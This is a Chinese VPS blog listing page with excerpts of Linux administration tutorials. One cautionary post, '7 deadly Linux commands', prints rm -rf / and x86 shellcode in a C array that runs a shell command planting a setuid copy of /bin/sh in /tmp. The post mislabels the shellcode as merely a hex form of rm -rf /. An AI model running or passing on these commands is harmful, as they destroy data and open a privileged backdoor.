标签类目:Linux

linux修改用户主目录的方法

2012-01-22 | 浏览人数: 138次 | 分类:美国VPS | 查看评论 发表评论

今天帮一个客户配置环境,发现VSFTP安装后,FTP用户主目录居然不对。然后搜索了一下,找到了一个不错的方法,现在转载如下。

第一:修改/etc/passwd文件

第二:usermod命令

  详细说明如下:

  第一种方法:vi /etc/passwd

  找到要修改的用户那几行,修改掉即可。此法很暴力,建议慎用。

  /etc/passwd文件格式

  登录名:加密口令:数字用户ID:数字组ID:注释字段:起始目录:shell程序

Linux VPS 硬盘网络等性能综合测试教程

2011-12-23 | 浏览人数: 390次 | 分类:VPS入门 | 查看评论 发表评论

很多同学在购买新的VPS以后,常常问deepvps应该如何进行测试,来确定自己购买的VPS性能。deepvps一直想写一个Linux VPS 测试教程。无奈年底太忙了,一直抽不出时间。今天在HOSTLOC上正好看到小夜同学整理的资料。内容挺全,现转载如下:

  • VPS的CPU信息查看命令:cat /proc/cpuinfo
  • 使用DD对VPS硬盘I/O进行读写性能测试
  • VPS出口、入口网络性能测试
  • 使用UB软件对LinuxVPS性能综合跑分测试
  • 国内、国外以及VPS网站访问速度测试

 一、CPU信息及性能查看

先使用命令,得到你的CPU信息,你也可以在探针里面看,探针里面比较详细。

CentOS 6.1 正式版发布

2011-12-10 | 浏览人数: 302次 | 分类:网络杂谈 | 查看评论 发表评论

CentOS 6.1 正式版发布了,这是真的。CentOS 6.1 基于红帽企业Linux 6.1。CentOS(Community ENTerprise Operating System)是Linux发行版之一,它是来自于Red Hat Enterprise Linux依照开放源代码规定释出的源代码所编译而成。由于出自同样的源代码,因此有些要求高度稳定性的服务器以CentOS替代商业版的Red Hat Enterprise Linux使用。两者的不同,在于CentOS并不包含封闭源代码软件。

Xen System Linux vps 挂载分区到/home

2011-10-16 | 浏览人数: 461次 | 分类:VPS管理维护 | 查看评论 发表评论

以前挂载硬盘都是直接用LVM扩容,详见以前的文章《XenSystem CentOS/Linux VPS下启用(挂载)未使用的硬盘空间图文教程》。这样只要硬盘损坏,或者重新安装系统就会造成数据丢失。现在介绍一种新的方法,可以重新安装系统数据不丢失,直接把分区挂载在home目录上。

首先通过fdisk -l 查看硬盘,这里我们可以看到2块硬盘 /dev/xvda 是系统盘  10G大小, 还有/dev/xvdb 第二块硬盘。

Linux VPS有CPU限制吗?

2011-07-24 | 浏览人数: 1,122次 | 分类:VPS管理维护 | 1条评论 | 查看评论 发表评论

Linux VPS有CPU限制吗?这个问题,您仔细想一下就能明白的,肯定有限制。

为什么? 因为一个服务器上会有多个VPS,大家都是共用服务器的CPU资源。如果不限制每个vps的cpu,一旦某个vps的程序出现无限循环的漏洞,或在进行大量的采集活动,将影响整个服务器上其他的VPS客户,因此,为了服务器的稳定,任何一个vps平台都有自动监控CPU使用情况的。一旦发现某个vps长期占用很多CPU资源,那么就会直接中断这个vps上占用cpu资源较多的程序。情节严重的,可能会临时关闭vps。

如何快速估计Linux VPS的月流量使用情况

2011-07-17 | 浏览人数: 946次 | 分类:VPS管理维护 | 2条评论 | 查看评论 发表评论

如何快速估计/估算Linux VPS的月流量使用情况?一定要安装流量监控软件才能做到吗?当然不是,deepvps 告诉您一个非常方便、准确的办法,不用安装MRTG等流量监控软件,就可以估算您1个月需要多少流量。 方法如下:

首先您执行一次ifconfig -a命令,找到RX bytes:1973174498 (1.8 GiB)  TX bytes:125331670357 (116.7 GiB),记录下来。

[root@deepvps]# ifconfig -a
lo        Link encap:Local Loopback 
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:9009 errors:0 dropped:0 overruns:0 frame:0
          TX packets:9009 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:556436 (543.3 KiB)  TX bytes:556436 (543.3 KiB)

Windows 和 Linux 下生成以当前时间命名的文件

2011-07-17 | 浏览人数: 532次 | 分类:VPS管理维护 | 查看评论 发表评论

在 Windows、Linux 操作系统,分别利用BAT批处理文件和Shell脚本,生成类似“2011071_082905.txt”以“年月日_时分秒”命名的文件。

Windows BAT批处理文件:

@echo off
set time_hh=%time:~0,2%
if /i %time_hh% LSS 10 (set time_hh=0%time:~1,1%)
set filename=%date:~,4%%date:~5,2%%date:~8,2%_%time_hh%%time:~3,2%%time:~6,2%
echo test >> %filename%.txt

Linux Shell 脚本:

#!/bin/sh
echo test >> $(date -d "today" +"%Y%m%d_%H%M%S").txt

如何查看 Linux 系统安装的时间

2011-07-05 | 浏览人数: 740次 | 分类:网络杂谈 | 1条评论 | 查看评论 发表评论

有个办法是查看 lost+found 目录状态,因为这个目录一般很少用到,改动最少(很可能无任何改动),而其他目录比如 /bin, /home 等因为经常升级系统、创建用户等操作会修改目录状态。

$ stat /lost+found/
File: `/lost+found/’
Size: 16384 Blocks: 32 IO Block: 4096 directory
Device: 805h/2053d Inode: 11 Links: 2
Access: (0700/drwx——) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2010-03-11 02:40:20.000000000 -0800
Modify: 2010-03-10 19:14:34.000000000 -0800
Change: 2010-03-10 19:14:34.000000000 -0800

7个致命的 Linux 命令

2011-05-05 | 浏览人数: 1,049次 | 分类:网络杂谈 | 3条评论 | 查看评论 发表评论

如果你是一个 Linux 新手,在好奇心的驱使下,可能会去尝试从各个渠道获得的命令。以下是 7 个致命的 Linux 命令,轻则使你的数据造成丢失,重则使你的系统造成瘫痪,所以,你应当竭力避免在系统中运行它们。

1. rm -rf / 此命令将递归并强制删除 / 目录下的所有文件。
2.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

这是 rm -rf / 的 hex(十六进制)版本,很能迷惑 Linux 用户。

庆祝 Linux 20 周岁

2011-04-07 | 浏览人数: 1,018次 | 分类:网络杂谈 | 2条评论 | 查看评论 发表评论

新闻来源:LinuxIDC
20 年前的这个夏天,你牛死.脱袜子 (Linus Torvalds) 勇敢的决定向全世界共享他编写的操作系统,不久之后,他又选择了 GPL 协议作为发布许可证。也就是从此开始, Linux 逐渐壮大,从而有了今天的成就。

Linux VPS Apache/Nginx+PHP环境下ionCube安装教程

2011-03-18 | 浏览人数: 1,415次 | 分类:服务器环境搭建 | 7条评论 | 查看评论 发表评论

ioncube

最近代购的客户越来越多,以前deepvps都是手工记录,难免有错漏。所以最近准备安装一个whmcs试试看。

在自己的VPS上安装试一下,但是提示:

Site error: the file /home/www/whmcs/index.php requires the ionCube PHP Loader ioncube_loader_lin_5.2.so to be installed by the site administrator.

根据上面的提示看来是因为没有安装ionCube。ionCube Encoder可以把PHP源代码转换成ByteCode。进行加密授权处理后的PHP代码就不在开源了,必须使用ionCube loader才可以执行加密过的PHP代码。PHP本身没有带有ionCube loader模块, 必须到ionCube网站下载。ionCube loader是免费的,但是Encoder的价格就比较昂贵(起价$199)。

Linux系统中top命令使用说明和使用教程

2011-02-28 | 浏览人数: 1,265次 | 分类:VPS管理维护 | 查看评论 发表评论

top命令中的load average就是我们常常说的系统负载,即任务队列的平均长度。load average为1表示目前cpu已经有1个任务等待处理,说明cpu已经在100%工作了,低于1表示CPU还是比较空闲,处理任务游刃有余。一般来说只要每个CPU的当前活动进程数不大于3那么系统的性能就是良好的,如果每个CPU的任务数大于5,那么就表示这台机器的性能有严重问题。

top命令是Linux下常用的性能分析工具,能够实时显示系统中各个进程的资源占用状况,类似于Windows的任务管理器。下面详细介绍它的使用方法。

Linux VPS 如何更改主机名,系统时间和命令提示符

2010-12-30 | 浏览人数: 1,569次 | 分类:VPS入门 | 1条评论 | 查看评论 发表评论

1,更改 Linux VPS 主机名

(1)/etc/sysconfig/network文件,将HOSTNAME修改为要设置的主机名。
(2)执行命令:

hostname 要设置的主机名

如果只设置了1,将在系统重启后使用新的主机名。
如果只设置了2,将在重新登录系统后看到新的主机名,但是重启系统后将恢复原主机名。
所以,建议1和2都设置,然后重新登录系统。

2,更改时间

(1)首先要知道,系统(网站)上显示的时间,是由GMT(格林尼治)时间,和系统(网站)上所设置的时区共同确定的。
(2)不要尝试修改VPS系统上的GMT时间,这个时间和VPS的母机相同,如果发现GMT时间不准确,请联系管理员在母机上修改。

XenSystem CentOS/Linux VPS下启用(挂载)未使用的硬盘空间图文教程

2010-12-27 | 浏览人数: 1,802次 | 分类:VPS管理维护 | 2条评论 | 查看评论 发表评论

现在用XenSystem的VPS 主机商越来越多的,代表人物就是deepvps以前详细介绍过的快易互联(Kiiyi.com)和 CloudVZ 两家。

XenSystem 系统有个不好的地方,就是新开通的VPS或者重新安装系统后的VPS,硬盘空间都没有挂载,需要自己手动挂载一下。而官方教程中间又有点小错误,紧贴deepvps在给客户挂载的时候就被这个错误误导了,后来联系了官方技术才解决了这个问题。等下教程中间deepvps会特别指出这个错误,方便后面的同学参考。

下面就是XenSystem官方的教程:

fdisk -l

查看硬盘分区情况

df -hal

查看已划分区空间使用情况,硬盘容量为32.2G,已划分的空间为5.7G(不包含SWAP,输入free -m可以查看内存和swap使用情况)

Linux 是谁写的?

2010-12-22 | 浏览人数: 807次 | 分类:网络杂谈 | 查看评论 发表评论

Linux 实际上仅仅指 Linux kernel,而不是指由 Linux kernel 和 GNU 工具组成的操作系统,更不是指 RHEL/Fedora/Ubuntu/Debian/Arch/Gentoo 这些发行版。The Linux Foundation 去年9月份发布了一份 Who Writes Linux 2009 调查报告,这个月又发布了新版本的 Who Writes Linux 2010. 自从2005年开始已经有6100多个开发人员和600多家公司参与到 Linux 内核开发,这可能是人类史上最大、参与程度最高、最成功的开源项目。从一个大学生的个人业余兴趣到目前几乎所有重量级 IT 公司都参与的全球协作项目,Linux 开启了一个时代,虽然 Linux 并没有带来创新的内核或技术,但是 Linux 开创了全新的软件开发合作模式和全新的开源商业模式(确切的说是 RedHat 开创的这种商业模式),而这两种模式的创新让 Linux 取得了巨大的成功。

页码: 1 2 3 后一页